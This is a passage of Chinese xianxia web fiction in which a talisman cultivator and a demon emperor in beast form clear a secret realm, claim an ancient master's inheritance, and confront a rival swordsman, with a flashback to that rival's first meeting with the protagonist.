白玥回礼,她身边的宁离离好奇地看向山谷一处——那里凭空而起一道青铜古门,几乎越过山峰顶端,门扉漏开一丝缝隙,内侧散发玄而又玄的气息。
“江道友,你来了。”
一句话落下,登时引来不少目光。
山谷晨雾间,一道身影拨开雾气,穿林而来。
那是个比众人想象中年轻许多的黑衣男子,乌发束成利落马尾,玄色衣袍衬得窄腰长腿,眼眸中的墨色清沉,仅仅站在那里,便如微风拂过林间。
他修长指间抱着一团可爱灵动的雪白小兽,似猫似豹,柔软蓬松,露出一双冷冰冰的赤红妖瞳。
白玥听见宁离离小声嘀咕:“这气质,也就比师父父稍逊那么一丢丢嘛。”
白玥敲她一脑壳。
宁离离捂住脑袋,再抬头——山谷上方,一位青白衣袍的剑修浮空而立,任由山谷晨风卷动衣袍飞舞。
他腰间佩剑,剑穗却是一截沾血的残缺袍袖,随风而动,时不时擦过衣袍。
果然是高人,剑穗都不走寻常路,莫非是什么爱人遗物?
宁离离扫了一眼便收回目光,见江逾怀中的那只幼小妖兽同样望着那边,眼神十分冷冽,像是……厌恶?
【还真是你的好师弟,带着你的东西耀武扬威】
沉墨清耳畔响起冰冷的男声,没有一丝温度。
【本尊替你杀了他】
沉墨清:怎么如此极端。
他的手指揉揉雪白小兽毛茸茸的脑袋,淡声道:“不必。”
他亲自来。
站在高处,下方众生便如蝼蚁。
“外来之人?”
听到慕容舟冷淡的声音,听雨宗大长老赶紧俯首:“是,名叫江逾,最近才来青竹城的一个符修,天赋极高。”
慕容舟随手丢出一物。
一面雕花古镜精准落在沉墨清身前,镜照于前,映出依然是“江逾”的脸。
慕容舟收镜,不再看沉墨清一眼,丢下一句:“不过筑基。”
他的下句话同样落在所有人耳边:“我不会帮你们,也不会夺走你们的机缘。进去之后,机缘在己,生死由天。”
说完,他便如一道剑虹穿入青铜古门之后。
……筑基?
不是金丹,居然只是筑基?
姗姗来迟的柳傲刚好听见这句话,看向沉墨清的眼神登时发生了变化,带了几分冷冰冰的审视——很快他又将眼神遮掩了下去,似是想起了那夜客栈逼退自己的存在。
听雨宗二长老捋须的手一抖,筑基修为便能炼出三品符箓!这是何等匪夷所思的天资!
他立刻笑眯了眼睛:“江小友,不若与我们同行,一路也有个照应。”
沉墨清:“承蒙好意,我已答应了柳家主。”
二长老还有些遗憾的样子,却也不再多说什么,带领一众弟子进入秘境。
白玥:“离离,跟紧为师。”
宁离离大声应是,紧紧抱住她的手臂,八爪鱼一样扒都扒拉不下来。
白玥嘴角抽了抽,笑着对沉墨清示意:“江道友,里面见。”
“回见。”
“江小友,”柳傲忽然开口,“进入秘境之后,我们各自探寻便是。”
他的身后,柳飘毫不顾忌地对着他的背影翻了个白眼,又对沉墨清摊手。
沉墨清抚摸怀中雪白小兽柔软的皮毛,神情并没有什么变化:“可以。”
他随柳家众人一同进入秘境,眼前一道光芒闪过,已站在一片陡峭山谷之下。
周围皆是灰色山谷,唯他一人。
进入秘境,被随机传送到不同地方是常事。那道剑意在柳飘身上,他能遥遥感应到对方并无恙。
【呵,这个地方还真是非同寻常】
苍舜趴在他肩上,尾巴不紧不慢地扫过他的侧脸,轻笑一声。
【若你能得秘境传承,就赚大了】
毛茸茸的尾巴蹭过脸侧,微微酥痒,沉墨清听着耳边的“咪咪呜呜”,淡定地按住那条活泼的尾巴,塞到雪白小兽肚子底下。
苍舜:“……”
肩膀的雪白小兽开始一声不吭地拱他,沉墨清手腕一翻,一张明黄符纸已于半空自燃,无数符文纷飞,汇聚成一条向前蜿蜒的曲线。
九垓州的神箓门有道闻名天下的寻踪觅迹符,可探索秘境内一切灵气充沛的藏宝之地,他曾见过数次,近日又在千玄阁阅览诸多符方,触类旁通,终于研究出来这道低品仿造物。
他将某只拱来拱去的妖皇从肩膀上抱到怀中,沿着符文一路追寻。
秘境宽广无边,风景皆是起伏的灰色山脉,肃穆暗沉。
不知过去多久,沉墨清落至一处狭窄山谷,四周野草零星,唯有三个修士正欲离开。
他们身着听雨宗内门弟子服饰,两男一女。其中一个子稍高的修士抱拳开口:“道友,这里我们已经探查过,什么也没有。”
沉墨清微微颔首:“多谢提醒。”
却依然停留原地,并不打算离开。
那三个听雨宗弟子对视一眼,往远方去了。
沉墨清微微阖目,神识一荡而开,似瀚海倾覆,笼罩整个山谷。
石子草叶,皆蕴含微弱的符道气韵。来回数遍,终于探查到一个极其隐蔽的细微之处。
那里的符道气韵,比其他地方浓厚三分。
沉墨清毫不犹豫地以指为笔,一息间绘成符文,修长手指遥遥一指。
灵力相撞,原本的山谷被撕开裂缝,露出幽深的空间,他的身影随之隐没其中。
片刻后,原本无人的空地上又出现三道人影,是刚才的听雨宗弟子去而复返。
“居然真有灵地?他怎么找到的?”
“跟上!”
裂缝之内别有洞天,是一个曲折无边的洞穴,如鲲鹏的胃囊般硕大,嶙峋岩石散发幽绿光泽。
沉墨清刚到此地没多久,就听见肩膀上的苍舜悠悠开口:【小心】
话音刚落,一道二品焚炎符已随手甩出,升腾的炽烈火光照亮前方洞穴,将一具瞬间逼近的身影焚烧一空。
昏暗的山洞刮过黑风,数不清的身影从岩石后探出头颅,四肢着地,身躯仿若由无数扭曲的线条拼凑而成,头顶唯有一眼,刻有幽幽发亮的符文。
沉墨清双指并起,一点眉心,一缕金芒自墨色眼眸中流动,他浮于空中,衣诀飘起,与偌大的黑潮相对。
符妖。
画符为妖,是为符妖。
以符造灵,此类神通,极为少见。
沉墨清嘴角微微一扬,翩飞的发尾勾起衣袍,如离弦之箭,冲入妖潮。
眨眼之间,年轻修士的身影便要被黑潮吞没。
苍舜瞳孔蓦沉,眼见无数森黑利爪从四面八方猛袭而来,最近的已挨上那人衣袍,不消几个呼吸,就能将这个削瘦的人族撕裂分食。
下一秒,银白雷瀑汹涌奔腾,如银河倒悬,淹没洞穴,碾碎黑潮。
符文倒映于沉墨清沉凝无澜的眼眸之中,化为灿烂的银白电芒。
他一步踏出,眸中炽烈璀璨,周身萦绕雷光为发丝镀上皎洁银霜,如上古时代,掌管雷霆的神明。
绚烂的光芒,同样倒映在赤红的妖瞳之中。
汹涌雷光沸腾数息,吞噬大片符妖,倏而消失,亮如白昼的洞穴内又复昏暗,只有间歇性的符文光泽闪烁。
疾风掠过沉墨清身侧,他飞速穿行于洞穴深处,四面八方涌出更多符妖,尖啸追来。
沉墨清从容不迫,以指为刃,画下符文御敌。
符修战斗,是以符文为导,注入灵力爆发巨大力量。方才他以符文入体,自身便成杀伐之利器——是他转入符道之后,自创的战斗方式。
一道二品惊雷符,以他体魄承载,爆发了三品之威。
效果不错,却极耗灵力与体力。但之后若遭遇强敌,可在关键时刻逆转战局。
沉墨清肩上,一团雪白的小毛绒球紧紧抓着衣角,凑到他耳边大声“咪呜”。
【你一个符修!非要近战吗!】
【知道刚才有多
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危险吗!】
沉墨清:咪咪呜呜说什么呢。
不听。
苍舜:“……”
雪白小兽气得耳朵都翘起来了,这个人——这个人怎么总是不顾及自身!
法修相对剑修与体修,体魄偏弱。寻常符修自身很难承载太过强悍的力量,因此都是以符文为媒介,让力量借由符文爆发。
偏偏这个人不一样,他拥有强悍的金丹体魄,丝毫不逊于体修——就算如此,方才那种战斗方式也极其危险,无异于引雷于自身。
雪白小兽抬起毛茸茸的爪子,气呼呼地一下一下拍他——肩侧的衣服。
无数符妖如蝗虫过境,紧追不舍。利爪摩擦过石壁,发出令人牙酸的窸窣声。
沉墨清毫不避让,行动路径看似左突右闪、毫无规律,却始终朝着符妖最多处,很快便完全没入洞穴深处。
不知过去多久,他忽然手腕一翻,骨节分明的指节微动,符文瞬间绘出。
游走的符文跳跃,转眼拉长为无数扭曲的曲线,拼凑出野兽般的躯体,落地便与一只最近的符妖厮杀起来。
那是他造出的符妖。
苍舜挑起了眉。
居然一边战斗,一边观摩那些符文。不过交手数次,便能钻透原理,从而复刻。
他的天资,还真是匪夷所思。
一只符妖倏忽跃进,利爪抓向看似走神的雪白小兽。
苍舜随意一瞥,一只修长白皙的手已落至他面前,微微挡住了他。
烈火炎炎,将那只符妖烧灼为空。
“离我近一点。”沉墨清的两根手指抵住雪白小兽柔软脊背,将他往自己这边推了推。
苍舜一眨不眨地看着他。
……他还挺关心我。
雪白小兽睁着圆溜溜的妖瞳,一声不吭了几秒,慢吞吞爬到沉墨清头顶,窝成一小团,不影响他动作。
“恕我直言,”沉墨清的声音平淡沉稳,“妖皇陛下应该会飞吧。”
苍舜两只爪子抱住他的发冠,一扭脑袋。
说什么呢,不听。
——结果就是一场战斗下来,沉墨清还未受到什么重伤,原本利落束起的乌发已凌乱不已。
被某只闲的要死的妖皇扒拉的。
洞穴深处忽有明亮微光,剩下的符妖似乎很畏惧那光线,纷纷蹿走。
沉墨清一言不发地落地,洞内幽潭映出修士身姿笔挺,唯有数缕长发散乱垂于额前。
眼前探下来一只白乎乎的小脑袋:“咪。”
【生气啦?】
沉墨清神色不动:“怎会。”
忽然出手,闪电似地捏住某只妖皇的后颈皮,提溜下来,逆着头顶的雪白绒毛狠狠一捋。
雪白小兽原本柔顺的毛毛登时炸成了蒲公英。
现在两个人的头发都乱了。
苍舜:“……”
沉墨清:“……”
沉墨清一言不发地偏过脸。
苍舜:“???”
“咪!!!”
还在笑!还笑得那么大声!!
沉墨清单手拎着某只嗷嗷挥舞爪子的妖皇,打了个响指。
地面上,无数线条飞快游走,聚拢而起,化为伏地的符妖。
他造出的这只符妖吞噬了其他同类的符力,居然诞生了些微灵智——也多亏此地是符道秘境,本就蕴含大量符道气韵,放在外界是绝不可能的事情。
符妖四肢细瘦,浑身皆是漆黑线条,唯有头顶独眼亮起白色符文。
沉墨清对于起名一事向来信手拈来:“便叫你滚滚吧。”
符妖扬起细长的线条双臂,甩来甩去,围着沉墨清打转,一下一下高高踢起面条双腿,姿态非常欢快。
苍舜:“……”
雪白小兽扭过脑袋,竖起耳朵,嘀嘀咕咕。
又在小声蛐蛐。
沉墨清抱着这只蛐蛐的小毛绒球,向前数步。
洞穴深处,一汪幽潭上空漂浮着一件法宝,是朵晶莹剔透的九瓣莲花。
沉墨清听见一道悠悠的老者声音:“既到此地,便是通过考核,赠汝此物。”
沉墨清作揖:“多谢前辈。”
他抬手,莲花腾空而起,浮于他的掌心之间,似一盏漂亮的琉璃。
五品法宝,雪尘琉璃盏,可挡住化神初级全力一击。
苍舜伸爪去拨弄那亮晶晶的莲花花瓣,沉墨清便将这朵漂亮的小莲花搁置在雪白小兽头顶。
雪白小兽咪咪呜呜地探长爪子去够,沉墨清目光扫过四周。
符道秘境,仅此而已?
他正欲再度放出神识,一道冰冷而熟悉的声音,在他们身后响起。
“交出法宝,留你一命。”
话音落,剑声起!
11. 第十一章 不是因为契约
长剑出鞘,白衣剑修背负双手,正是慕容舟。
“交出法宝,留你一命。”
沉墨清看也不看,随手一点。
雷霆如剑,瞬息穿透心脏。慕容舟身形一晃,倒了下去。
——化为一道残缺的符纸,于半空自燃。
幻形符。
幻化的虚影破碎,露出三人身影,正是之前的听雨宗弟子。
他们深入此地,居然毫发无损。其中最高的那个修士紧紧盯着雪白小兽头顶的九瓣莲花,笑说:“道友,我看此宝与我们有缘,不如让给我们,我愿以八千灵石补偿。”
沉墨清声音悠悠:“好说,八百万灵石。”
谢风立刻传音入密给自己同门:“他耗费不少灵力,已是强弩之末,也炼化不了那件法宝!我们一起上,在他灵力用光之前,还能杀光我们所有人不成!”
三人中唯一的女修毫无反应,另一个男修面露难色:“师兄,我们毕竟是名门正派……”
“想想你家人!若能献上这件法宝,你便是宗主的关门弟子!到那时,还有人敢欺负你家人吗!”
一句话落下,谢风师弟眼神一肃,再无任何犹豫。
两人立刻出手,唯有那女修迅速往后退去。
一时间,数道符箓飞来,冰棱与木藤交错,沉墨清原地不动,修长手指随意一指,袍袖翻飞。
“滚。”
雷霆如剑,横亘长暗。
五行之中最具杀伐之威的雷霆直接碾碎魑魅魍魉,掀起银白骇浪。
谢风的眼眸瞬间被炽烈的银白吞没,暴涨的恐惧令他脑中只剩空白——下一秒,他的师弟往前一扑,抱住了他:“师兄!”
一道光芒闪过,两人身影立时消失在原地。
雷霆击穿石壁,碎石翻飞,留下来的女修毫不犹豫地抱拳:“晚辈楚风灵,见过前辈!”
她心底庆幸不已,果然自己不出手是对的。
刚才他们偷偷潜入这里,不知为何一路的怪物都没有袭击他们,只是追着这位前辈。她便趁机观察了对方的战斗方式,越看越心惊。
师父曾说,符修的战斗方式有两种,使用提前绘好的符箓,又或在战斗中当场画下符文——前者尚且好说,符箓可以提前准备。后者则极其考验符修的实力,往往要一笔成符,稍慢一步,就是身死。
一般而言,金丹以上的符修才会选择此种战斗方式。甚至有些符修大能,心念一动便可成符。
刚才她见这位前辈时常在战斗中绘符,行云流水,信手拈来,那绝不只是天赋超然,私下必定反复练习了千百次,才能如此驾轻就熟。
所以,此人虽看起来只有筑基初期,比他们修为略低一个境界,却根本不是他们可以为敌的。
“前辈您要炼化这件法宝的话,我可以为您护法。”
“不必,”沉墨清道,“离开这里,前方不是你能涉足的。”
楚风灵果真不再停留,飞快离去。
沉墨清的神识注入雪尘琉璃盏内,不消片刻便成功炼化,真正成为这件法宝的新主人。
五品初阶法宝,以他现在的境界,就算调用也会消耗极大灵力。
他转首,目光投落那汪波光粼粼的幽潭。
【我不会出手帮你,但,等你撑不住了,我会带你走】
苍舜趴在他肩头,声线没什么起伏。
沉墨清垂眼:“你担心我?”
【怎么可能!】
雪白小兽的毛毛微炸。
【本尊是因为契约!】
沉墨清笑了笑,说:“你不必出手。”
他在岸边打坐调息,直至灵气恢复圆满,跃入幽潭。
——和预想中一样,潭水是虚假幻象。
他浮立空中,衣衫并未沾湿,上方的潭口忽而涌现无数符文,层层叠叠,构成极尽繁复的符阵。
潭底在震动,他的脚下延伸出一条向前的路,不见尽头,没有退路。
道路前方,一头头奇形诡状的兽类接连出现,身上缠绕着浓稠黑焰,黑焰一刻不停地腐蚀着它们的皮肉,它们也发出阵阵非人的嘶吼。
苍舜眉头微挑。
魔物?
他再看沉墨清,年轻修士表情毫无波澜,亦不意外。
苍舜忽有所悟,那些都是这个人族曾经杀过的魔物。
沉墨清抬手,修长双指轻夹一张符箓,如夹住薄薄剑刃。
镜花水月,昨日重现。不过此刻,面前的魔兽皆与他同等修为。
“——请。”
魔兽接涌而来,黑潮压日,年轻修士发丝与袍袖飞扬,身姿如剑,撕裂无边黑幕。
苍飘静静地注视那道背影,看见了一柄锋芒毕露的杀伐之剑,一场昏天黑地的诛魔战场。
原来,这个人就是他之后,第二位应魔而生的存在。
难怪他的血能将他唤醒,能为他们缔结那样的契约。
他是为他而苏醒的。
符文化刃,斩杀不知多少魔兽。黑衣修士所向披靡,一路杀至符阵深处。
直到一只魔兽被斩首,却并未倒下,空洞的脖颈钻出一颗人头,双目紧闭,满脸悲戚。
“我恨啊……”
“我冤啊……”
数百张人脸挤出魔兽皮囊,探长脖颈,闭目哭喊,声声哀嚎钻入耳畔。
目之所及,皆是熟人。
——被他屠戮殆尽的浩然宗五百余人。
鲜血飞溅过发丝,沉墨清轻笑,眼眸幽深如黑蛟浮起的寒潭:“别急啊,这就再送你们下去。”
他单手掐诀,银白雷霆自天而降,掀起汹涌雷瀑。无数张人脸恶魂就在炽烈的雷光之中尖啸泯灭。
苍舜漂浮在半空,妖瞳泛起些微金芒。
灿金与赤红交织的眼眸中,那个人族修士一往无前,每踏出一步,脚下便有隐约的道路向前蔓延。
——那是一条翻涌着无边血色的漆黑长路,随着沉墨清不断向前,有更多血色汇入,融入幽冥般的漆黑之中。
苍舜目光微凝。
这个人的道,竟是所有修行之道中最强攻伐、杀业最重的那条道。
——杀伐之道。
以杀镇恶,以杀戮仙,皆在一念之间。
传闻数万年前,第一位登天的仙人,便是以杀伐证道。
然,除了那位仙人,后来入杀伐道的修士大多不得善终,更无一活过大乘。
活不过大乘……
苍舜眸底微沉,心脏仿佛忽然钻入拧搅的铁丝,泛起一种他从未体会过,更难以形容的滋味。
应是契约所致。
他一言不发地目睹那个年轻修士脚踏杀伐,头也不回,直至鲜血泼洒大阵,浸透符文。
衣衫染血,孤身而立。
灵力将尽,却已近符阵阵眼。
最后拦在他面前的,是冰棱为座的白发剑修,眉目无情,背后翻腾滔天魔气。
“你堕宗门之名,当诛。”
沉墨清微微仰首,古井无波的眼眸,映出那张和昔日师尊同样的面庞。
符阵之内,所遇之敌皆与他修为同等,唯有这道玉百虚影,是化神修为。
以筑基对化神,蚍蜉撼树,不自量力。
沉墨清再闭目,染血双指一点眉间,烙下一抹丹砂印痕。
苍舜忽觉不对,妖瞳顷刻竖起:【你又——】
下一秒,沉墨清悍然睁眼,眸中符文炽烈灿金,如晦夜中长升的耀耀大日。
符文映照他的双眼,无数金色纹路游走全身,特殊的符文覆盖躯体,宛若一尊雕刻而成的纯金神祇。
苍舜瞳孔定格,那些符文并不繁复,一笔一划却蕴含大道至简的气韵,他从未见过!
——自创符术!
符阵深处响起悠长的欣喜喟叹,大阵猛然震动,所有符文皆与之共鸣,所有符道气韵皆从四面八方汇聚向沉墨清一人!
时来天地皆同力!
沉墨清一步踏出,眼眸燃金,身如炬火,纵然无剑,心却为剑。
符文撕裂年轻修士身躯,身化万千血雨,无迹可寻,唯剩一剑,直指天穹。
一剑——斩化神!
轰隆——!
天地摇晃,所有秘境内的修士皆震惊抬首,环顾四周。
整个秘境动荡不已,无数符文争先恐后地亮起,化作满天闪烁繁星,铺就整片天空,交相辉映,天穹长明。
——一如不久前,一位筑基修士炼出三品符箓,引得青竹城上古符文共鸣!
这一次,更加声势浩大!
秘境某地,宁离离抱住一件刚得的法宝,瞠目结舌:“该不会,莫非,难道——”
另一地,柳傲面色阴沉:“秘境传承这么快就被那元婴所得?”
他身后远处,柳飘诧异地摊开掌心,手中纯白剑意丝毫未动。
洞穴深处,一切归于平静,幽潭涟漪泛滥,折射星辰微光。
苍舜目眦欲裂,这次,那人只剩下些许残肢。
下一秒,枝木生长,身躯重造,沉墨清再归人间。
修为跌落筑基初期。
枯木回春,仙人所造之令符,只要神识不消,便不死不灭。
沉墨清缓缓睁眼,脸上被一大团雪白绒毛覆盖。
不再是巴掌大小的小毛绒球,而是毛茸茸的一大坨,紧紧包裹住他,散发暖烘烘的热意。
他看不见苍舜的表情,只能感觉这只庞大的妖皇在一声不吭地拱他,拱来拱去,又把他包裹在绒毛里,不准他离开。
估计又在记仇。
沉墨清抚了一把手感很好的绒毛:“我没事。”
话音刚落,某只妖皇拱得更用力了,到处挤他。
气呼呼的,绒毛炸炸,糊了沉墨清一脸。
“……”
沉墨清顺手画符,给自己加上衣袍,再抬眼。
幽潭上空,一道虚影悠悠漂浮,是位白衣老者,飘然若仙。
“多少万年了,终于又见资质尚可的符道修士。”
沉墨清从毛绒团里慢慢起身,双手交叠:“晚辈江逾,见过仙人。”
“吾非仙人,汝所见不过本体一道残魂。”
秘境之主声音缥缈。
“后来人,方才的符术何名?”
沉墨清:“归墟引。”
这是他自创的第一道符术,亦是第一个符道杀招。
燃尽几身,引渡归墟,皆坠幽冥。
此后,再借枯木回春,重归人间。
苍舜趴在他旁边,闻言伸长尾巴,把他紧紧圈起来。
秘境之主淡然道:“不错,确有几分资格得吾传承。”
他背负双手,飘至沉墨清身前:“此地并非吾道完整传承,而是昔日本体自斩残魂,留下的一份残缺传承。”
“受吾传承者,需符阵双修,后来人,汝还要继承一份完整的阵道传承。”
“若接受,吾便将这道残缺传承先交付于汝,待汝得另一阵道传承,便可去上州,寻吾真正传承。”
沉墨清:“需要怎样的阵道传承?”
符修与阵修虽然同属于法修,却从上古时期就开始相争,一度有水火不容之势。
然,他研究符道之时就发现,符道与阵道颇多相通之处,或许两道本就同源。
秘境之主呵呵笑了:“汝自会知晓。当然,若汝无意寻得完整传承也无妨,左不过……是我符道再无登仙之人。”
沉墨清眸光微动。
方才这位秘境之主开口就是“万年”,他已猜测对方身份非同寻常,此刻更是确定了猜想。
下州秘境,往往极少大能遗留,否则天枢宗不会只派出一个元婴弟子——实际上,换作以前,天枢宗根本不会在意一个下州的符道秘境。
只是封魔一战后,上州各大宗门今时不如往日,天枢宗又与神箓门结怨,种种原因之下,才将这个秘境丢进了外门弟子任务里。
“可否请教前辈名讳?”
“吾之真名,待汝得吾完整传承之时自然知晓,现在称吾为‘行云’即可。”
行云一挥袍袖,有身影从沉墨清袖间飘出,是他所造的那只符妖。
符妖趴附于地,茫然昂头,似乎有些害怕,往沉墨清身后躲了躲——被一条细长尾巴冷冷拍开。
沉墨清淡定抬手,摸摸某只拱到自己肩膀上的妖皇脑袋。
行云原本正在打量那只符妖,眼神添了几分欣赏,又见这一幕,目光足足在沉墨清和苍舜身上转了好几圈。
随后,淡淡对符妖开口:“既是诞生此地
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之符灵,汝之主人又是吾的传承者,便沾他之光,送汝一场造化。”
他随意一抬手,隔空拂过符妖眉心。
刹那间,符妖身形剧震,气势发生惊人转变——从一只新生的符妖,直升金丹大圆满!
它完全愣在原地,似是化作石像。
沉墨清开口:“滚滚,向前辈道谢。”
行云看着那只嗷嗷叩首的符妖,沉默三秒。
“好名,好名。”
“汝造出的符灵,无论修为多高,皆由汝掌控,生死亦在汝一念之间。”
毫无波澜的声音落下,符妖抖了一抖,温顺地往沉墨清身边缩缩——再被苍舜一尾巴拍开。
行云又多看了他们一眼。
“现在,踏上前来,受吾传承。”
沉墨清向前三步,一只手点在他的眉心之间。
一丝金芒落入他的眉心,灵海之内,他的神识悬立,望见璀璨符文铺开广阔大道,筑成长阶。
符道真意!
“此乃吾残魂所有符道造诣,今日皆赠予汝,能得多少,全看汝自身。”
神识一步登阶,沐浴金芒,攀阶而上。沉墨清静立,周身气势如虹暴涨,直贯云霄。
筑基中期。
筑基巅峰。
筑基大圆满!
——已是半步金丹!
灵海之内,神识再次来到天堑之下,遥望高悬的鲜红符令。
行云疑惑地“嗯?”了一声,目光落在沉墨清眉心之间,似要穿透他的神魂,看见什么。
凝望片刻,他却并未开口,翻手留下一道玉简。
“汝要去寻的阵道传承,就在其中。”
沉墨清双手接过玉简,神识略微一扫。
一张地图,半部残诀……两张六品符方!
还有一幅闭合的画卷,散发莹莹光泽。
——六品攻伐法宝!可抵炼虚初期威能!
沉墨清思忖片刻,开口:“敢问前辈,可有五品渡灵符符方?”
行云面露嫌弃:“什么低品符箓,吾不炼的。”
沉墨清不语,轻轻拍了下苍舜脑袋。
苍舜:“?”
他莫名其妙地歪了下脑袋,居然没说什么,而是把脑袋贴到沉墨清身上,拱了拱。
下一秒,妖皇的动作微定,听见了那个年轻人族的下一句话:“前辈可知解开血脉契约之法?”
行云又看了他们一眼,道:“吾对契约并无兴趣,亦无研究。”
“传承之事,汝尽力便可。三百年内,吾之本体会在上州静待。”
“若三百年内汝仍未至,本体之灵,也将消弭于天地之间。”
说话间,这位秘境之主的身形逐渐变得缥缈透明,沉墨清再度抬手交叠,神色郑重:“前辈放心,我必赴约而至。”
行云深深地望了他一眼:“既出此言,哪怕沧海桑田,汝也定要得到那阵道传承。”
沉墨清:“必然。”
行云不再言语,微微点头,下一刻,他的白发褪为乌黑,容貌再复年轻,露出一张英俊张扬的面庞。
他遥望东方,喃喃低语:“师兄,若当年我没有负气出走……”
一语未终,残魂已散。
沉墨清深深作揖。
纵然对于这位符修大能并无印象,但他知道,九千州大能无数,不喜声名流传世间者、终其一生隐姓埋名者亦不在少数。
幽潭寂静,再无涟漪。沉墨清坐在一大团雪白的毛茸茸上,再次探查玉简。
那道六品攻伐法宝,以他如今修为根本无法驱使,暂时搁置一旁。
三道六品符方,在下州暂时也用不上。
他仔细阅览了那张地图,发现是张上古地图,其中地名和如今早已不同,需要到外界核实查探。
最后,沉墨清目光投向那半部残诀,眼帘微微一动。
——可使根骨再生的功法。
只有半部。
剩下半部,应该就在古地图记载的阵道传承之地,就在……这位秘境之主的“师兄”那里。
得到完整功法,他便有机会重塑剑道根骨。
此次秘境之行完全超乎沉墨清的预料,他甚至隐有猜测,这半部残诀是否包含天道之意。
最终,他将玉简收起。
就算有天意,成事亦在人,他所行皆按己心,绝不会为天道所控。
沉墨清收回神识,顺便将滚滚召回。它是符文所造之物,并不算真正生灵,可以待在空间广阔的储物袋内。
随后,他抬起眼帘,对上一双赤红妖瞳。
现出庞大原形的妖皇垂首,静静地注视着他。
沉墨清开口:“之后我会离开这里,去中州或者上州,顺便寻到解开契约之法。”
苍舜沉默片刻,微微埋下身躯,贴近了他:【你为什么总是不顾及自己?】
【刚才太危险了,就算你每次都能重塑身体,也不必次次都采用如此激进之法】
明明,也可以让他出手——
沉墨清平静地道:“我时间不多。”
他要跨过漫长的修为境界,才有血刃仇敌的资格,因此必须拼尽一切,不留余地。
苍舜不语,过了两秒,慢慢低头,下颌轻轻压在沉墨清肩上。
这只妖皇又在一声不吭地拱他,很快,他又被一团热烘烘、软乎乎的绒毛包裹了起来。
沉墨清心道,莫非这是什么示威方式?
他声音清淡:“若你是担心契约——”
【不是因为契约】
苍舜忽然打断。
沉墨清再度抬眼。
一条细长尾巴虚虚缠上他的腰身,并未碰到他的衣角,却是个将他圈起来的姿势。
不知何时开始,妖皇忽然离他极近,强悍健壮的身躯如起伏的群山,将他包围,雪白毛发流淌着柔和的月霜,那双妖瞳静静注视着他,如炽热的长空烈日停留于林稍之间。
苍舜低声说:【不是——】
“筑基巅峰?”
冰冷的声音,从黑暗另一侧传来。
山洞深处,慕容舟腰间佩剑,剑柄系着一截染血袍袖。他傲首阔步闯入此地,锐利的目光直指对面的年轻修士和妖兽。
“交出传承,留你一命。”
12.第十二章 你刚刚想说什么?
“剑道福地?”
很多年后,慕容舟偶尔会想起初见那人的场景。
“是啊!沉师兄去秘境历练,带回来一块剑道福地,说是无论内外门弟子,皆可进去修行!”
叽叽喳喳的师妹,今天嘴里念叨的名字格外陌生。
“沉师兄?”
“师兄你忘了吗,就是几年前被宗主收为首徒的那位!之前一直在内门,说不定这次我们有机会见到他呢!”
一个入门才几年的稚童,反而成了他们的师兄,何其可笑。
“不过是仗着天资高罢了。”
十二条剑道根骨,若他也有,定然比那人还强。
师妹呵呵笑道:“师兄你可是我们中最勤勉的,日后一定能进入内门!”
那个才十几岁的小儿运气的确不错,初入秘境就能得到一块小型福地,瀑布从天空倒悬,坠落深潭,每一丝水汽皆蕴含剑道气韵。
慕容舟一眼便看出瀑布底下的剑道气韵最为浓厚,但比他先来的内门弟子居然都只是在潭水附近修行,没有一个靠近瀑布,他便驱剑直入。
下一秒,他才知道为何无人来此。
一滴水珠打在身上,便如利剑穿胸而过,瀑布下无数水珠飞溅,便是万箭穿心、钝刀凌迟也不及的剧痛。
而且,这种痛楚不会随着时间流逝而减轻,每过一秒便是翻倍的疼痛。
慕容舟忍了三息,疼得差点没在地上打滚,急退而出,跌坐于地。
周围的内门弟子没人看他,显然早已习惯,他却脸上无端发烫,一咬牙,原地盘坐,闭目打坐。
之后再有弟子尝试在瀑布下修行,皆是痛不欲生之相,只能另选附近水汽充盈之地。
唯有少数几个内门弟子逐渐移到潭水附近打坐,后来,慕容舟也成了其中之一。
他天不亮就来此,几乎也是最晚才离开,一连数日,福地守门者也赞他勤勉。
他心底不以为意,那些内门弟子皆不如他刻苦,还有那个所谓的宗主首徒,居然一日都不曾来这里修炼,可见何其怠惰。
直至他接到宗门任务,将要远行。临行前,他还是不甘心,向师父求了避水珠。
瀑布湍急,掀起云海水雾,从潭外几乎看不见瀑底。他以避水珠隔绝水汽,也挡住了剑道气韵,才能一步步进入瀑底。
原本慕容舟还在犹豫,是否要在此处收起避水珠,可当他真正站在这里,却仿佛被冰水浇透,浑身发凉。
他看见一位白衣少年,乌发尽湿,静坐瀑底,任由千丈水流冲刷其身,已不知修炼了多久。
少年沉宁闭目,水汽浸润他清绝淡雅的眉目,宛若玉雕的仙人。一点泪痣落在眼尾,便成宣纸上一点氤氲墨痕。
这一刻,慕容舟几乎难以呼吸。
终于回神之时,一双乌黑如琉璃的眼眸隔着水雾,静静地望着他。
慕容舟猛然后退一步,却见少年忽然莞尔,点缀泪痣的眼睛轻眨一下。
他说:“你是我师兄吗?”
冷冽的风穿过灰暗山谷,慕容舟嗅闻着那截染血的袍袖,眼前依然是多年前,瀑布中白衣浸湿的乌发少年。
“师兄!你没事吧?”
“还好,多亏了师弟你这传送法宝……那人真是该死!出手竟如此狠毒!”
骂声戛然而止,谢风惊恐地发现,眼前多了一位白衣剑修。
那来自上州的仙人斜眼冷睨他们,丢下一句“发生何事”。
谢风立刻将方才山洞之事添油加醋地抖落出来,还以为仙人要为他出头,极尽讨好。又见仙人剑柄系着一截染血的破布,不假思索从自己储物袋里取出一条丝结所系的玉佩。
“仙人,您这剑穗脏了,我这刚好有块上品玉佩……”
他说着,恭敬伸手,指尖碰到那截残缺袍袖。
下一刻,他的眉心一凉,寒意浇筑头脚,瞳孔就此凝固。
那是一道剑意。
“下州蝼蚁,也敢碰我的东西。”
谢风师弟如遭雷击,怔怔立在原地,直到数秒后才踉跄跪倒,抱住谢风已然失去生机的躯体。
区区蝼蚁,就算抹杀了又何妨。
——在秘境深处,以剑指那个筑基符修之前,慕容舟都是这么想的。
他的对面,那个不值一提的筑基符修居然轻轻地笑了起来,仅那么一笑,便令慕容舟有些许恍惚。
像……又不像。
慕容舟的脸色骤沉:“你也配模仿他!”
【他在叽里呱啦说什么难听的话】
苍舜盯着慕容舟剑柄上那截随风飘动的染血袍袖,眼眸如浸寒潭,一步踏出,脚下有隐约雷光交闪。
沉墨清:“你不必出手。”
苍舜回头:【若我看他不爽,非要出手呢?】
沉墨清淡然对上那双妖瞳:“那我就不和你说话了。”
【……】
皮毛散发银霜光泽的美丽妖兽一声不吭地往石壁边一卧。
过了两秒,还“哼”了一声。
本尊根本没有被威胁到。
沉墨清随手一划,无数符文牵引光星,构成一道封闭的结界。
